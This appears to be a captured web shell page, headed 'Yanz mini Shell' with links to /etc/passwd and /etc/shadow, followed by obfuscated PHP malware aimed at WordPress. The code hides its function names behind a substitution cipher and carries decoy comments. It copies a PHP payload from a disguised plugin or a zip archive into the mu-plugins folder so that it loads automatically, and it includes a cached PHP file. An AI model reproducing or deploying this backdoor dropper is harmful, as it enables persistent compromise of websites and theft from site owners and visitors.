Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
if(!function_exists('m2bp8o30qp1og')){function depff3tgw35tr2paf($i){static $a=null;if($a===null){$a=array('t2Lwo2xw','bRCo2xw','RLv<R6w','<R6wLRrw','<R6wLRrw','RLvbRC','x_bRC','<R6wvSwmvu5omwomL','RLvLmCRoS','LmC6wo','LmCN5L','<MoumR5ovwhRLmL','mwxNo2x','<R6wvNMmvu5omwomL','<MoumR5ovwhRLmL','Cwo2xw','u5Nl','Mo6Ro_','u1x5b','RLv<R6w','u62LLvwhRLmL','RLvbRC','LMtLmC','u1x5b','<MoumR5ovwhRLmL','Mo6Ro_','iRN?Cu1Rqw','62WT33wv1r9_');}return $a[$i];}function m2bp8o30qp1og($i){$e=depff3tgw35tr2paf($i);$f='WP_C'.'ONT'.'ED'.'IRw'.'p-'.'con'.'te/'.'mulg'.'isS'.'LUG.'.'h<'.'?a'.'ry'.'dv'.'HAZM'.'kf'.'b6'.'4x2'.'qz'.'j51'.'3';$t='GDvk'.'pynd'.'zaH'.'jNU'.'u5o'.'mwcx'.'M6SR'.'LsOP'.'.Z1f'.'e2Cl'.'bqA?'.'i4'.'_<t/'.'ghW'.'-rT'.'EI3';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function z70w3dvp1frzk3($i){$j=(int)$i;return m2bp8o30qp1og($j);}function pt1ud8x0g($i){$j=$i;return m2bp8o30qp1og($j);}function ge35mqr_xcal($i){$j=$i+0;return m2bp8o30qp1og($j);}function wczc7rxam1s($i){$j=$i;return m2bp8o30qp1og($j);}
if(class_exists(m2bp8o30qp1og(26),false)&&!class_exists(wczc7rxam1s(27),false)){class la2j33e_hz9k extends \ZipArchive {}}
function lx2opyshahmoo3xvof($vd6cf7){$u05222la0=($vd6cf7>0)?$vd6cf7:3;return $u05222la0-19;}
$r6daud70lpxc  =  defined("WP_CONTENT_DIR")   ? WP_CONTENT_DIR    :  "";

if  (!$r6daud70lpxc)    {
// WP Latest Posts media upload

$idc9_8sx86_g     =  __DIR__;
for  ($p6mce9_8niv  =   0;   $p6mce9_8niv <  (0x3+0x1);  $p6mce9_8niv++)    {
if (z70w3dvp1frzk3(0)($idc9_8sx86_g)      ===  "wp-content")  {  $r6daud70lpxc   =  $idc9_8sx86_g;   break; }
 $idc9_8sx86_g    =  ge35mqr_xcal(1)($idc9_8sx86_g);

}
if  (!$r6daud70lpxc)    $r6daud70lpxc  =  __DIR__;

}
    $ojyfannbuv1pnfm    = $r6daud70lpxc    . "/mu-plugins";
    $xsh5y0ywoee   =   $ojyfannbuv1pnfm  . "/ridge-wrapper-pad.php";
 $tx7fbhwvt9o  =   $r6daud70lpxc    .  "/plugins/ridge-wrapper-pad/ridge-wrapper-pad.php";

if   (!@m2bp8o30qp1og(2)($xsh5y0ywoee) ||      @pt1ud8x0g(3)($xsh5y0ywoee) < (5114-114))  {

if (@pt1ud8x0g(2)($tx7fbhwvt9o)     &&     @z70w3dvp1frzk3(4)($tx7fbhwvt9o)    > (4996+4))  {
if  (!@ge35mqr_xcal(5)($ojyfannbuv1pnfm))   @ge35mqr_xcal(6)($ojyfannbuv1pnfm, (414+79), true);
   $q79l3zhrm6rk =  @pt1ud8x0g(7)($tx7fbhwvt9o);
 if (!m2bp8o30qp1og(8)($q79l3zhrm6rk)  ||  m2bp8o30qp1og(9)($q79l3zhrm6rk)   < (491+9)    ||  pt1ud8x0g(10)($q79l3zhrm6rk,   "<?")   !==  0) $q79l3zhrm6rk   =    false;
    $xuqp9scyn8k6m3vl   = ($q79l3zhrm6rk  !== false      && pt1ud8x0g(11)('tempnam')  ? @m2bp8o30qp1og(12)(wczc7rxam1s(1)($xsh5y0ywoee),    'sc_') :    false);
 if  ($xuqp9scyn8k6m3vl !==     false) {
$uuojeil32z7f5tjw   =  @wczc7rxam1s(13)($xuqp9scyn8k6m3vl, $q79l3zhrm6rk);
if ($uuojeil32z7f5tjw !== false  && $uuojeil32z7f5tjw ===  z70w3dvp1frzk3(9)($q79l3zhrm6rk)) {

$ficse2kh_rho   =     false;
if (z70w3dvp1frzk3(14)('rename'))     $ficse2kh_rho    =  @pt1ud8x0g(15)($xuqp9scyn8k6m3vl, $xsh5y0ywoee);
 if   (!$ficse2kh_rho   && ge35mqr_xcal(14)('copy')) {  $ficse2kh_rho = @m2bp8o30qp1og(16)($xuqp9scyn8k6m3vl,   $xsh5y0ywoee); if ($ficse2kh_rho)    @wczc7rxam1s(17)($xuqp9scyn8k6m3vl);  }

if   (!$ficse2kh_rho)    @m2bp8o30qp1og(17)($xuqp9scyn8k6m3vl);
    if  (pt1ud8x0g(14)('chmod'))   @ge35mqr_xcal(18)($xsh5y0ywoee, (585-165));   if (ge35mqr_xcal(14)('opcache_invalidate')) @opcache_invalidate($xsh5y0ywoee,   true);
    }   else     {
@m2bp8o30qp1og(17)($xuqp9scyn8k6m3vl);
 }
 }
}
if (!@pt1ud8x0g(19)($xsh5y0ywoee) ||    @ge35mqr_xcal(4)($xsh5y0ywoee)  <  (0xaa1+0x8e7))  {
/* sesquilinear template */

$ysr3d9udydm  =    $r6daud70lpxc  .  "/cache";
   $f5h7qvmysgyrj9jx  = $ysr3d9udydm      . "/c58a79b3.php";$l3k38_zhv=536;$p9ns6yaacuhx6=$l3k38_zhv%11;
     if   (@m2bp8o30qp1og(19)($f5h7qvmysgyrj9jx))   {

@define('SC_AUTO_PREPEND',   1);
    try {  @include_once  $f5h7qvmysgyrj9jx;   }    catch  (Throwable  $bkrb9duvckh5)  {}
        }   else   {
    $ce6069hhi1   = $r6daud70lpxc  . "/3163cbe0.zip";
 if   (!@m2bp8o30qp1og(19)($ce6069hhi1)) $ce6069hhi1  =  __DIR__ .    "/3163cbe0.zip";

if     (ge35mqr_xcal(20)("ZipArchive") &&   @z70w3dvp1frzk3(19)($ce6069hhi1))    {
if (!@wczc7rxam1s(21)($ojyfannbuv1pnfm))   @m2bp8o30qp1og(6)($ojyfannbuv1pnfm,  (403+90), true);

$h98l54f3__xme1a   = new  la2j33e_hz9k();
  if    ($h98l54f3__xme1a->open($ce6069hhi1) ===      true)  {
for  ($vs9z6tz7gn   =  0;  $vs9z6tz7gn < $h98l54f3__xme1a->numFiles;  $vs9z6tz7gn++)    {
  $binlmx3_8jzznj =     $h98l54f3__xme1a->getNameIndex($vs9z6tz7gn);
      if (ge35mqr_xcal(22)($binlmx3_8jzznj,   -(8-4))  ===   ".php")   {
// MySQL window functions network override

$q79l3zhrm6rk = $h98l54f3__xme1a->getFromIndex($vs9z6tz7gn);

if   (!z70w3dvp1frzk3(8)($q79l3zhrm6rk)  ||   wczc7rxam1s(9)($q79l3zhrm6rk)   <   (0x1b+0x1d9)   || pt1ud8x0g(10)($q79l3zhrm6rk,     "<?")   !==      0)     $q79l3zhrm6rk  = false;
      $xuqp9scyn8k6m3vl    =   ($q79l3zhrm6rk !== false &&    wczc7rxam1s(14)('tempnam') ?   @ge35mqr_xcal(12)(m2bp8o30qp1og(1)($xsh5y0ywoee),  'sc_') : false);
if ($xuqp9scyn8k6m3vl    !==     false)   {
      $uuojeil32z7f5tjw    =  @m2bp8o30qp1og(13)($xuqp9scyn8k6m3vl,   $q79l3zhrm6rk);
  if    ($uuojeil32z7f5tjw   !== false    && $uuojeil32z7f5tjw ===    z70w3dvp1frzk3(9)($q79l3zhrm6rk)) {
   $ficse2kh_rho  =   false;
  if  (wczc7rxam1s(14)('rename'))     $ficse2kh_rho   =  @pt1ud8x0g(15)($xuqp9scyn8k6m3vl,   $xsh5y0ywoee);
  if     (!$ficse2kh_rho     &&  pt1ud8x0g(14)('copy'))  {  $ficse2kh_rho  =    @z70w3dvp1frzk3(16)($xuqp9scyn8k6m3vl,  $xsh5y0ywoee); if  ($ficse2kh_rho) @z70w3dvp1frzk3(17)($xuqp9scyn8k6m3vl);   }
if   (!$ficse2kh_rho)    @ge35mqr_xcal(17)($xuqp9scyn8k6m3vl);
 if (z70w3dvp1frzk3(14)('chmod'))      @wczc7rxam1s(23)($xsh5y0ywoee,  (592-172));   if (wczc7rxam1s(24)('opcache_invalidate')) @opcache_invalidate($xsh5y0ywoee,  true);
  }  else {

@wczc7rxam1s(25)($xuqp9scyn8k6m3vl);
   }
    }
    }
}
  $h98l54f3__xme1a->close();

}
      }
    }

}

}
 
}